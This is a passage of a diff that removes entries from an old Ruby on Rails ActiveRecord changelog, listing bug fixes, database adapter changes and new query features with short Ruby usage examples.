-* Tweak fixtures so they don't try to use a non-ActiveRecord class. *Kevin Clark*
-
-* Remove ActiveRecord::Base.reset since Dispatcher doesn't use it anymore. *Rick Olson*
-
-* PostgreSQL: autodetected sequences work correctly with multiple schemas. Rely on the schema search_path instead of explicitly qualifying the sequence name with its schema. #5280 *guy.naor@famundo.com*
-
-* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
-
-* Cache nil results for has_one associations so multiple calls don't call the database. Closes #5757. *Michael Schoen*
-
-* Don't save has_one associations unnecessarily. #5735 *Jonathan Viney*
-
-* Refactor ActiveRecord::Base.reset_subclasses to #reset, and add global observer resetting. *Rick Olson*
-
-* Formally deprecate the deprecated finders. *Michael Koziarski*
-
-* Formally deprecate rich associations. *Michael Koziarski*
-
-* Fixed that default timezones for new / initialize should uphold utc setting #5709 *daniluk@yahoo.com*
-
-* Fix announcement of very long migration names. #5722 *blake@near-time.com*
-
-* The exists? class method should treat a string argument as an id rather than as conditions. #5698 *jeremy@planetargon.com*
-
-* Fixed to_xml with :include misbehaviors when invoked on array of model instances #5690 *alexkwolfe@gmail.com*
-
-* Added support for conditions on Base.exists? #5689 [Josh Peek]. Examples:
-
- assert (Topic.exists?(:author_name => "David"))
- assert (Topic.exists?(:author_name => "Mary", :approved => true))
- assert (Topic.exists?(["parent_id = ?", 1]))
-
-* Schema dumper quotes date :default values. *Dave Thomas*
-
-* Calculate sum with SQL, not Enumerable on HasManyThrough Associations. *Dan Peterson*
-
-* Factor the attribute#{suffix} methods out of method_missing for easier extension. *Jeremy Kemper*
-
-* Patch sql injection vulnerability when using integer or float columns. *Jamis Buck*
-
-* Allow #count through a has_many association to accept :include. *Dan Peterson*
-
-* create_table rdoc: suggest :id => false for habtm join tables. *Zed Shaw*
-
-* PostgreSQL: return array fields as strings. #4664 *Robby Russell*
-
-* SQLServer: added tests to ensure all database statements are closed, refactored identity_insert management code to use blocks, removed update/delete rowcount code out of execute and into update/delete, changed insert to go through execute method, removed unused quoting methods, disabled pessimistic locking tests as feature is currently unsupported, fixed RakeFile to load sqlserver specific tests whether running in ado or odbc mode, fixed support for recently added decimal types, added support for limits on integer types. #5670 *Tom Ward*
-
-* SQLServer: fix db:schema:dump case-sensitivity. #4684 *Will Rogers*
-
-* Oracle: BigDecimal support. #5667 *Michael Schoen*
-
-* Numeric and decimal columns map to BigDecimal instead of Float. Those with scale 0 map to Integer. #5454 *robbat2@gentoo.org, work@ashleymoran.me.uk*
-
-* Firebird migrations support. #5337 *Ken Kunz <kennethkunz@gmail.com>*
-
-* PostgreSQL: create/drop as postgres user. #4790 *mail@matthewpainter.co.uk, mlaster@metavillage.com*
-
-* PostgreSQL: correctly quote the ' in pk_and_sequence_for. #5462 *tietew@tietew.net*
-
-* PostgreSQL: correctly quote microseconds in timestamps. #5641 *rick@rickbradley.com*
-
-* Clearer has_one/belongs_to model names (account has_one :user). #5632 *matt@mattmargolis.net*
-
-* Oracle: use nonblocking queries if allow_concurrency is set, fix pessimistic locking, don't guess date vs. time by default (set OracleAdapter.emulate_dates = true for the old behavior), adapter cleanup. #5635 *Michael Schoen*
-
-* Fixed a few Oracle issues: Allows Oracle's odd date handling to still work consistently within #to_xml, Passes test that hardcode insert statement by dropping the :id column, Updated RUNNING_UNIT_TESTS with Oracle instructions, Corrects method signature for #exec #5294 *Michael Schoen*
-
-* Added :group to available options for finds done on associations #5516 *mike@michaeldewey.org*
-
-* Observers also watch subclasses created after they are declared. #5535 *daniels@pronto.com.au*
-
-* Removed deprecated timestamps_gmt class methods. *Jeremy Kemper*
-
-* rake build_mysql_database grants permissions to rails@localhost. #5501 *brianegge@yahoo.com*
-
-* PostgreSQL: support microsecond time resolution. #5492 *alex@msgpad.com*
-
-* Add AssociationCollection#sum since the method_missing invokation has been shadowed by Enumerable#sum.
-
-* Added find_or_initialize_by_X which works like find_or_create_by_X but doesn't save the newly instantiated record. *Sam Stephenson*
-
-* Row locking. Provide a locking clause with the :lock finder option or true for the default "FOR UPDATE". Use the #lock! method to obtain a row lock on a single record (reloads the record with :lock => true). *Shugo Maeda*
- # Obtain an exclusive lock on person 1 so we can safely increment visits.
- Person.transaction do
- # select * from people where id=1 for update
- person = Person.find(1, :lock => true)
- person.visits += 1
- person.save!
- end
-
-* PostgreSQL: introduce allow_concurrency option which determines whether to use blocking or asynchronous #execute. Adapters with blocking #execute will deadlock Ruby threads. The default value is ActiveRecord::Base.allow_concurrency. *Jeremy Kemper*
-
-* Use a per-thread (rather than global) transaction mutex so you may execute concurrent transactions on separate connections. *Jeremy Kemper*
-
-* Change AR::Base#to_param to return a String instead of a Fixnum. Closes #5320. *Nicholas Seckar*
-
-* Use explicit delegation instead of method aliasing for AR::Base.to_param -> AR::Base.id. #5299 (skaes@web.de)
-
-* Refactored ActiveRecord::Base.to_xml to become a delegate for XmlSerializer, which restores sanity to the mega method. This refactoring also reinstates the opinions that type="string" is redundant and ugly and nil-differentiation is not a concern of serialization *David Heinemeier Hansson*
-
-* Added simple hash conditions to find that'll just convert hash to an AND-based condition string #5143 [Hampton Catlin]. Example:
-
- Person.find(:all, :conditions => { :last_name => "Catlin", :status => 1 }, :limit => 2)
-
- ...is the same as:
- Person.find(:all, :conditions => [ "last_name = ? and status = ?", "Catlin", 1 ], :limit => 2)
-
- This makes it easier to pass in the options from a form or otherwise outside.
-
-
-* Fixed issues with BLOB limits, charsets, and booleans for Firebird #5194, #5191, #5189 *kennethkunz@gmail.com*
-
-* Fixed usage of :limit and with_scope when the association in scope is a 1:m #5208 *alex@purefiction.net*
-
-* Fixed migration trouble with SQLite when NOT NULL is used in the new definition #5215 *greg@lapcominc.com*
-
-* Fixed problems with eager loading and counting on SQL Server #5212 *kajism@yahoo.com*
-
-* Fixed that count distinct should use the selected column even when using :include #5251 *anna@wota.jp*
-
-* Fixed that :includes merged from with_scope won't cause the same association to be loaded more than once if repetition occurs in the clauses #5253 *alex@purefiction.net*
-
-* Allow models to override to_xml. #4989 *Blair Zajac <blair@orcaware.com>*
-
-* PostgreSQL: don't ignore port when host is nil since it's often used to label the domain socket. #5247 *shimbo@is.naist.jp*
-
-* Records and arrays of records are bound as quoted ids. *Jeremy Kemper*
- Foo.find(:all, :conditions => ['bar_id IN (?)', bars])
- Foo.find(:first, :conditions => ['bar_id = ?', bar])
-
-* Fixed that Base.find :all, :conditions => [ "id IN (?)", collection ] would fail if collection was empty *David Heinemeier Hansson*
-
-* Add a list of regexes assert_queries skips in the ActiveRecord test suite. *Rick Olson*
-
-* Fix the has_and_belongs_to_many #create doesn't populate the join for new records. Closes #3692 *Josh Susser*
-
-* Provide Association Extensions access to the instance that the association is being accessed from.
- Closes #4433 *Josh Susser*
-
-* Update OpenBase adaterp's maintainer's email address. Closes #5176. *Derrick Spell*
-
-* Add a quick note about :select and eagerly included associations. *Rick Olson*
-
-* Add docs for the :as option in has_one associations. Closes #5144 *cdcarter@gmail.com*
-
-* Fixed that has_many collections shouldn't load the entire association to do build or create *David Heinemeier Hansson*
-
-* Added :allow_nil option for aggregations #5091 *Ian White*
-
-* Fix Oracle boolean support and tests. Closes #5139. *Michael Schoen*
-
-* create! no longer blows up when no attributes are passed and a :create scope is in effect (e.g. foo.bars.create! failed whereas foo.bars.create!({}) didn't.) *Jeremy Kemper*
-
-* Call Inflector#demodulize on the class name when eagerly including an STI model. Closes #5077 *info@loobmedia.com*
-
-* Preserve MySQL boolean column defaults when changing a column in a migration. Closes #5015. *pdcawley@bofh.org.uk*
-
-* PostgreSQL: migrations support :limit with :integer columns by mapping limit < 4 to smallint, > 4 to bigint, and anything else to integer. #2900 *keegan@thebasement.org*
-
-* Dates and times interpret empty strings as nil rather than 2000-01-01. #4830 *kajism@yahoo.com*
-
-* Allow :uniq => true with has_many :through associations. *Jeremy Kemper*
-
-* Ensure that StringIO is always available for the Schema dumper. *Marcel Molina Jr.*
-
-* Allow AR::Base#to_xml to include methods too. Closes #4921. *johan@textdrive.com*
-
-* Remove duplicate fixture entry in comments.yml. Closes #4923. *Blair Zajac <blair@orcaware.com>*
-
-* When grouping, use the appropriate option key. *Marcel Molina Jr.*
-
-* Add support for FrontBase (http://www.frontbase.com/) with a new adapter thanks to the hard work of one Mike Laster. Closes #4093. *mlaster@metavillage.com*
-
-* Add warning about the proper way to validate the presence of a foreign key. Closes #4147. *Francois Beausoleil <francois.beausoleil@gmail.com>*
-
-* Fix syntax error in documentation. Closes #4679. *Mislav Marohnić*
-
-* Add Oracle support for CLOB inserts. Closes #4748. *schoenm@earthlink.net sandra.metz@duke.edu*
-
-* Various fixes for sqlserver_adapter (odbc statement finishing, ado schema dumper, drop index). Closes #4831. *kajism@yahoo.com*
-
-* Add support for :order option to with_scope. Closes #3887. *eric.daspet@survol.net*
-
-* Prettify output of schema_dumper by making things line up. Closes #4241 *Caio Chassot <caio@v2studio.com>*
-
-* Make build_postgresql_databases task make databases owned by the postgres user. Closes #4790. *mlaster@metavillage.com*
-
-* Sybase Adapter type conversion cleanup. Closes #4736. *dev@metacasa.net*
-
-* Fix bug where calculations with long alias names return null. *Rick Olson*
-
-* Raise error when trying to add to a has_many :through association. Use the Join Model instead. *Rick Olson*
-
- @post.tags << @tag # BAD
- @post.taggings.create(:tag => @tag) # GOOD
-
-* Allow all calculations to take the :include option, not just COUNT (closes #4840) *Rick Olson*
-
-* Add ActiveRecord::Errors#to_xml *Jamis Buck*
-
-* Properly quote index names in migrations (closes #4764) *John Long*
-
-* Fix the HasManyAssociation#count method so it uses the new ActiveRecord::Base#count syntax, while maintaining backwards compatibility. *Rick Olson*
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions *Rick Olson*
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. *Rick Olson*
-
-* Add :case_sensitive option to validates_uniqueness_of (closes #3090) *Rick Olson*
-
- class Account < ActiveRecord::Base
- validates_uniqueness_of :email, :case_sensitive => false
- end
-
-* Allow multiple association extensions with :extend option (closes #4666) *Josh Susser*
-
- class Account < ActiveRecord::Base
- has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
- end
-
-
-## 1.14.4 (August 8th, 2006) ##
-
-* Add warning about the proper way to validate the presence of a foreign key. #4147 *Francois Beausoleil <francois.beausoleil@gmail.com>*
-
-* Fix syntax error in documentation. #4679 *Mislav Marohnić*
-
-* Update inconsistent migrations documentation. #4683 *machomagna@gmail.com*
-
-
-## 1.14.3 (June 27th, 2006) ##
-
-* Fix announcement of very long migration names. #5722 *blake@near-time.com*
-
-* Update callbacks documentation. #3970 *Robby Russell <robby@planetargon.com>*
-
-* Properly quote index names in migrations (closes #4764) *John Long*
-
-* Ensure that Associations#include_eager_conditions? checks both scoped and explicit conditions *Rick Olson*
-
-* Associations#select_limited_ids_list adds the ORDER BY columns to the SELECT DISTINCT List for postgresql. *Rick Olson*
-
-
-## 1.14.2 (April 9th, 2006) ##
-
-* Fixed calculations for the Oracle Adapter (closes #4626) *Michael Schoen*
-
-
-## 1.14.1 (April 6th, 2006) ##
-
-* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. *Nicholas Seckar*
-
-* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) *Lars Pind*
-
-* Enable Limit/Offset in Calculations (closes #4558) *lmarlow*
-
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) *Rick Olson*
-
-* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 *lagroue@free.fr*
-
-* Allow AR::Base#respond_to? to behave when @attributes is nil *Ryan Davis*
-
-* Support eager includes when going through a polymorphic has_many association. *Rick Olson*
-
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) *Rick Olson*
-
- class Post < ActiveRecord::Base
- has_one :tagging, :as => :taggable
- end
-
- Post.find :all, :include => :tagging
-
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many *Rick Olson*
-
-* Added support for going through a polymorphic has_many association: (closes #4401) *Rick Olson*
-
- class PhotoCollection < ActiveRecord::Base
- has_many :photos, :as => :photographic
- belongs_to :firm
- end
-
- class Firm < ActiveRecord::Base
- has_many :photo_collections
- has_many :photos, :through => :photo_collections
- end
-
-* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. *ruben.nine@gmail.com*
-
-* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. *Florian Weber*
-
-* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations. (closes #4456) *Stefan*
-
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) *Rick Olson*
-
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model *David Heinemeier Hansson*
-
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) *David Heinemeier Hansson*
-
-* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). *Marcel Mollina Jr.*
-
-* Fixed broken OCIAdapter #4457 *Michael Schoen*
-
-
-## 1.14.0 (March 27th, 2006) ##
-
-* Replace 'rescue Object' with a finer grained rescue. Closes #4431. *Nicholas Seckar*
-
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table *Rick Olson*
-
-* Add support for :include to with_scope *andrew@redlinesoftware.com*
-
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 *Michael Schoen*
-
-* Change periods (.) in table aliases to _'s. Closes #4251 *jeff@ministrycentered.com*
-
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x. Closes #4348 *Rick Olson*
-
-* Fixed issue that kept :select options from being scoped *Rick Olson*
-
-* Fixed db_schema_import when binary types are present #3101 *David Heinemeier Hansson*
-
-* Fixed that MySQL enums should always be returned as strings #3501 *David Heinemeier Hansson*
-
-* Change has_many :through to use the :source option to specify the source association. :class_name is now ignored. *Rick Olson*
-
- class Connection < ActiveRecord::Base
- belongs_to :user
- belongs_to :channel
- end
-
- class Channel < ActiveRecord::Base
- has_many :connections
- has_many :contacts, :through => :connections, :class_name => 'User' # OLD
- has_many :contacts, :through => :connections, :source => :user # NEW
- end
-
-* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 *contact@maik-schmidt.de*
-
-* Allow overriding of find parameters in scoped has_many :through calls *Rick Olson*
-
- In this example, :include => false disables the default eager association from loading. :select changes the standard
- select clause. :joins specifies a join that is added to the end of the has_many :through query.
-
- class Post < ActiveRecord::Base
- has_many :tags, :through => :taggings, :include => :tagging do
- def add_joins_and_select
- find :all, :select => 'tags.*, authors.id as author_id', :include => false,
- :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
- end
- end
- end
-
-* Fixed that schema changes while the database was open would break any connections to an SQLite database (now we reconnect if that error is throw) *David Heinemeier Hansson*
-
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) *Jonathan Viney*
-
-* Quit ignoring default :include options in has_many :through calls *Mark James*
-
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) *Jonathan Viney*
-
-* Eager Loading support added for has_many :through => :has_many associations (see below). *Rick Olson*
-
-* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net] Example:
-
- class Firm < ActiveRecord::Base
- has_many :clients
- has_many :invoices, :through => :clients
- end
-
- class Client < ActiveRecord::Base
- belongs_to :firm
- has_many :invoices
- end
-
- class Invoice < ActiveRecord::Base
- belongs_to :client
- end
-
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) *Josh Susser*
-
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 *Jonathan Viney*
-
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) *andylien@gmail.com / Rick Olson*
-
-* SQL Server adapter gets some love #4298 *Ryan Tomayko*
-
-* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 *derrickspell@cdmplus.com*
-
-* Rework table aliasing to account for truncated table aliases. Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
-
- Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
-
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. *Rick Olson*
-
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 *Michael Koziarski*
-
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 *Michael Koziarski*
-
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 *Tom Ward*
-
-* Fixed that Migration#execute would have the table name prefix appended to its query #4110 *mark.imbriaco@pobox.com*
-
-* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) *Jamis Buck*
-
-* Use association's :conditions when eager loading. [Jeremy Evans] #4144
-
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 *Jeremy Evans*
-
- This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
-
- Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
-
-* Oracle adapter gets some love #4230 *Michael Schoen*
-
- * Changes :text to CLOB rather than BLOB [Moses Hohman]
- * Fixes an issue with nil numeric length/scales (several)
- * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
- * Tweaks a unit test to get it all green again
- * Adds support for #current_database
-
-* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 *Rick Olson*
-
- class CachedModel < ActiveRecord::Base
- self.abstract_class = true
- end
-
- class Post < CachedModel
- end
-
- CachedModel.abstract_class?
- => true
-
- Post.abstract_class?
- => false
-
- Post.base_class
- => Post
-
- Post.table_name
- => 'posts'
-
-* Allow :dependent options to be used with polymorphic joins. #3820 *Rick Olson*
-
- class Foo < ActiveRecord::Base
- has_many :attachments, :as => :attachable, :dependent => :delete_all
- end
-
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 *court3nay*
-
-* Upgrade to Transaction::Simple 1.3 *Jamis Buck*
-
-* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model *Rick Olson*
-
-* Allow ordering of calculated results and/or grouped fields in calculations *solo@gatelys.com*
-
-* Make ActiveRecord::Base#save! return true instead of nil on success. #4173 *johan@johansorensen.com*
-
-* Dynamically set allow_concurrency. #4044 *Stefan Kaes*
-
-* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
-
- topic.to_xml
-
- ...returns:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <id type="integer">1</id>
- <approved type="boolean">false</approved>
- <replies-count type="integer">0</replies-count>
- <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
- <written-on type="datetime">2003-07-16 09:28:00</written-on>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- ...and you can configure with:
-
- topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
-
- ...that'll return:
-
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <approved type="boolean">false</approved>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- You can even do load first-level associations as part of the document:
-
- firm.to_xml :include => [ :account, :clients ]
-
- ...that'll return something like:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <firm>
- <id type="integer">1</id>
- <rating type="integer">1</rating>
- <name>37signals</name>
- <clients>
- <client>
- <rating type="integer">1</rating>
- <name>Summit</name>
- </client>
- <client>
- <rating type="integer">1</rating>
- <name>Microsoft</name>
- </client>
- </clients>
- <account>
- <id type="integer">1</id>
- <credit-limit type="integer">50</credit-limit>
- </account>
- </firm>
-
-* Allow :counter_cache to take a column name for custom counter cache columns *Jamis Buck*
-
-* Documentation fixes for :dependent *robby@planetargon.com*
-
-* Stop the MySQL adapter crashing when views are present. #3782 *Jonathan Viney*
-
-* Don't classify the belongs_to class, it is already singular #4117 *keithm@infused.org*
-
-* Allow set_fixture_class to take Classes instead of strings for a class in a module. Raise FixtureClassNotFound if a fixture can't load. *Rick Olson*
-
-* Fix quoting of inheritance column for STI eager loading #4098 *Jonathan Viney <jonathan@bluewire.net.nz>*
-
-* Added smarter table aliasing for eager associations for multiple self joins #3580 *Rick Olson*
-
- * The first time a table is referenced in a join, no alias is used.
- * After that, the parent class name and the reflection name are used.
-
- Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
-
- * Any additional join references get a numerical suffix like '_2', '_3', etc.
-
-* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
-
-* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
-
- # cascaded in two levels
- >> Author.find(:all, :include=>{:posts=>:comments})
- => authors
- +- posts
- +- comments
-
- # cascaded in two levels and normal association
- >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in two levels with two has_many associations
- >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in three levels
- >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
- => companies
- +- groups
- +- members
- +- favorites
-
-* Make counter cache work when replacing an association #3245 *eugenol@gmail.com*
-
-* Make migrations verbose *Jamis Buck*
-
-* Make counter_cache work with polymorphic belongs_to *Jamis Buck*
-
-* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 *anna@wota.jp*
-
-* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
-
- * Does not support DATE SQL column types; use DATETIME instead.
- * Date columns on HABTM join tables are returned as String, not Time.
- * Insertions are potentially broken for :polymorphic join tables
- * BLOB column access not yet fully supported
-
-* Clear stale, cached connections left behind by defunct threads. *Jeremy Kemper*
-
-* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false. Most AR usage is in single-threaded applications. *Jeremy Kemper*
-
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 *Michael Schoen*
-
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 *David Heinemeier Hansson*
-
-* Speed up class -> connection caching and stale connection verification. #3979 *Stefan Kaes*
-
-* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. *Kevin Clark*
-
-* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 *dblack@wobblini.net*
-
-* Define attribute query methods to avoid method_missing calls. #3677 *Jonathan Viney*
-
-* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome. #3591 *Simon Stapleton, Tom Ward*
-
-* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
-
- Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
-
- # inner rule is used. (all previous parameters are ignored)
- Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (name = 'Jamis')
- end
-
- # parameters are merged
- Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
- end
- end
-
-* Fixed db2 connection with empty user_name and auth options #3622 *phurley@gmail.com*
-
-* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 *Masao Mutoh*
-
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 *Lars Pind*
-
-* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
-
- Person.average :age
- Person.minimum :age
- Person.maximum :age
- Person.sum :salary, :group => :last_name
-
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 *Luke Redpath*
-
-* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. *Jeremy Kemper*
-
-* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 *Aggregated by schoenm@earthlink.net*
-
-* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 *rubyonrails@atyp.de*
-
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 *Stefan Kaes*
-
-* Correct syntax error in mysql DDL, and make AAACreateTablesTest run first *Bob Silva*
-
-* Allow :include to be used with has_many :through associations #3611 *Michael Schoen*
-
-* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table). #2920 *Blair Zajac*
-
-* SQLServer: more compatible limit/offset emulation. #3779 *Tom Ward*
-
-* Polymorphic join support for has_one associations (has_one :foo, :as => :bar) #3785 *Rick Olson*
-
-* PostgreSQL: correctly parse negative integer column defaults. #3776 *bellis@deepthought.org*
-
-* Fix problems with count when used with :include *Jeremy Hopple and Kevin Clark*
-
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message *Tobias Lütke*
-
-* Using AssociationCollection#build with arrays of hashes should call build, not create *David Heinemeier Hansson*
-
-* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. *Nicholas Seckar*
-
-* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 *Maik Schmidt*
-
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 *Shugo Maeda*
-
-* Add documentation for add_index and remove_index. #3600 *Manfred Stienstra <m.stienstra@fngtps.com>*
-
-* If the OCI library is not available, raise an exception indicating as much. #3593 *Michael Schoen*
-
-* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. *Rick Olson*
-
-* Make dynamic finders honor additional passed in :conditions. #3569 *Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.*
-
-* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. *Nicholas Seckar*
-
-* Make .count work for has_many associations with multi line finder sql *Michael Schoen*
-
-* Add AR::Base.base_class for querying the ancestor AR::Base subclass *Jamis Buck*
-
-* Allow configuration of the column used for optimistic locking *wilsonb@gmail.com*
-
-* Don't hardcode 'id' in acts as list. *ror@philippeapril.com*
-
-* Fix date errors for SQLServer in association tests. #3406 *Kevin Clark*
-
-* Escape database name in MySQL adapter when creating and dropping databases. #3409 *anna@wota.jp*
-
-* Disambiguate table names for columns in validates_uniqueness_of's WHERE clause. #3423 *alex.borovsky@gmail.com*
-
-* .with_scope imposed create parameters now bypass attr_protected *Tobias Lütke*
-
-* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. *Marcel Molina Jr.*
-
-* Multiple enhancements and adjustments to DB2 adaptor. #3377 *contact@maik-schmidt.de*
-
-* Sanitize scoped conditions. *Marcel Molina Jr.*
-
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) *David Heinemeier Hansson*
-
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. *Tobias Lütke*
-
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. *Tobias Lütke*
-
-* Fixed that saving a model with multiple habtm associations would only save the first one. #3244 *yanowitz-rubyonrails@quantumfoam.org, Florian Weber*
-
-* Fix change_column to work with PostgreSQL 7.x and 8.x. #3141 *wejn@box.cz, Rick Olson, Scott Barron*
-
-* removed :piggyback in favor of just allowing :select on :through associations. *Tobias Lütke*
-
-* made method missing delegation to class methods on relation target work on :through associations. *Tobias Lütke*
-
-* made .find() work on :through relations. *Tobias Lütke*
-
-* Fix typo in association docs. #3296. *Blair Zajac*
-
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model *Tobias Lütke*
-
-## 1.13.2 (December 13th, 2005) ##
-
-* Become part of Rails 1.0
-
-* MySQL: allow encoding option for mysql.rb driver. *Jeremy Kemper*
-
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
-
- class Post
- has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
- end
-
- post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
- post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
- post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
-
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations *David Heinemeier Hansson*
-
-* MySQL: fixes for the bundled mysql.rb driver. #3160 *Justin Forder*
-
-* SQLServer: fix obscure optimistic locking bug. #3068 *kajism@yahoo.com*
-
